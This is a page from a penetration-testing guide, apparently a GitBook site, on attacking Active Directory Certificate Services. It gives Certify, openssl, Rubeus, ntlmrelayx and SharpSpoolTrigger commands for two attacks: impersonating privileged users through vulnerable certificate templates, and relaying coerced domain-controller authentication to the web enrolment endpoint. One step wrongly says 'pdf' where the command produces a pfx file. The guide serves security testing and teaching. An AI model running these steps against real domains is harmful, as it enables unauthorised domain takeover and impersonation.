The Pentesting Guide
TwitterBlog
  • The Pentesting Guide
  • ℹ️0 - Pre-Engagement
  • 🔍1 - Information Gathering
  • Passive (OSINT)
  • Active
    • 🕵️HUMINT
    • WIFI
    • IP & Port Scanning
    • Services
      • 21 - FTP
      • 22 - SSH
      • 25 - SMTP
      • 53 - DNS
      • 80,443 - WEB
      • 88 - Kerberos
      • 110 - POP3
      • 111 - rpcbind
      • 161 - SNMP
      • 389 - LDAP
      • 139,445 - SMB
      • Active Directory
  • 💣2 - Exploitation
  • Brute Forcing
  • WEB
    • Apache Tomcat
    • Authentication
    • Broken Access Control
    • Cache poisoning
    • Clickjacking
    • CORS
    • CSRF
    • File Inclusion
    • Host Header Injection
    • HTTP Request Smuggling
    • Information disclosure
    • JWT
    • OS command injection
    • PHP deserialisation
    • SQLi
    • SSRF
    • SSTI
    • Shellshock
    • Unrestricted File Upload
    • XSS
    • XXE
  • Web (OWASP Test cases)
    • 4.1 Information Gathering
    • 4.2 Configuration and Deployment Management Testing
    • 4.3 Identity Management Testing
    • 4.4 Authentication Testing
    • 4.5 Authorization Testing
    • 4.6 Session Management Testing
    • 4.7 Input Validation Testing
    • 4.8 Testing for Error Handling
    • 4.9 Testing for Weak Cryptography
    • 4.10 Business Logic Testing
    • 4.11 Client-side Testing
    • 4.12 API Testing
  • WIFI
  • HUMINT
    • 🎣Gophish (Phishing)
    • Malicious Phishing Files
    • Phishing Evaluation
  • BoF - Windows(x86)
  • Active Directory
    • Kerberos
    • GPOs
    • Certificates
    • LAPS
    • Domain Trusts
  • 👿3 - Post Exploitation
  • File transfer
  • Shells
  • Situational Awareness
    • Containers and VMs
    • Linux
    • Windows
      • Dumping Credentials
      • Countermeasure Evasion
    • Active Directory
      • BloodHound & SharpHound
  • General
    • Linux
    • Windows
  • Local Privilege Escalation
    • Linux
    • Windows
  • Persistance
    • Windows
  • Cracking
  • Pivoting
    • Tunnelling & Port Forwarding
  • Lateral Movement
  • WIFI
  • 📓4 - Report
  • 🧹5 - House cleaning
Powered by GitBook
On this page
  • Introduction
  • Misconfigured Certificate Templates
  • NTLM Relaying to ADCS HTTP Endpoints
  1. Active Directory

Certificates

Last updated 1 year ago

Introduction

Active Directory Certificate Services (AD CS) is a customizable service for issuing and managing digital certificates. These digital certificates can be used for the authentication of computer, user, or device accounts on a network.

Misconfigured Certificate Templates

This configuration allows any domain user to request a certificate for any other domain user and use it for authentication.

To check if there is any vulnerable template, you can execute the following command.

If "<DOMAIN>\Domain Users" have enrollment rights, it means any domain user may request a certificate from this template.

.\Certify.exe find /vulnerable

These are the steps to exploit this vulnerability.

1. Request a certificate for a user with high privileges on the domain, then save the private key and certificate into a file like cert.pem.

.\Certify.exe request /ca:<PREVIOUSLY_OBTAINED_CA> /template:<VULNERABLE_TEMPLATE_NAME> /altname:<USER_TO_IMPERSONATE>

2. Convert the cert.pem into pdf format.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

3. Base64 encode the certificate to use it with Rubeus.

cat cert.pfx | base64 -w 0

4. Request a TGT using the encoded certificate.

.\Rubeus.exe asktgt /user:Administrator /nowrap /password:<EXPORTING_PASSWORD> /certificate:<BASE64>

NTLM Relaying to ADCS HTTP Endpoints

Useful for when you have the CA running on a web service and authentication via NTLM. In this case you can force a DC to authenticate to an attacker's machine and then use it to obtain a TGT.

AD CS services support HTTP enrolment methods and even includes a GUI. This endpoint is usually found at http[s]://<hostname>/certsrv

You cannot relay NTLM authentication back to the originating machine. We therefore wouldn't be able to relay a DC to a CA if those services were running on the same machine.

Another good way to abuse this primitive is by gaining access to a machine configured for unconstrained delegation.

These are the steps to exploit this vulnerability.

1. Execute ntlmrelayx pointing to the web CA on the attacker machine.

sudo proxychains ntlmrelayx.py -t https://<ADCS>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

2. Force the DC to authenticate against the attacker machine. The certificate will appear on the ntlmrelayx tool.

.\SharpSpoolTrigger.exe <TARGET_DC> <ATTACKER_MACHINE>

3. Use the S4U2Self to obtain the TGT.

.\Rubeus.exe asktgt /user:<HOSTNAME>$ /ptt /certificate:<NTLM_CERTICIFATE>

You can use any of the programs on .

ℹ️
Unconstrained Delegation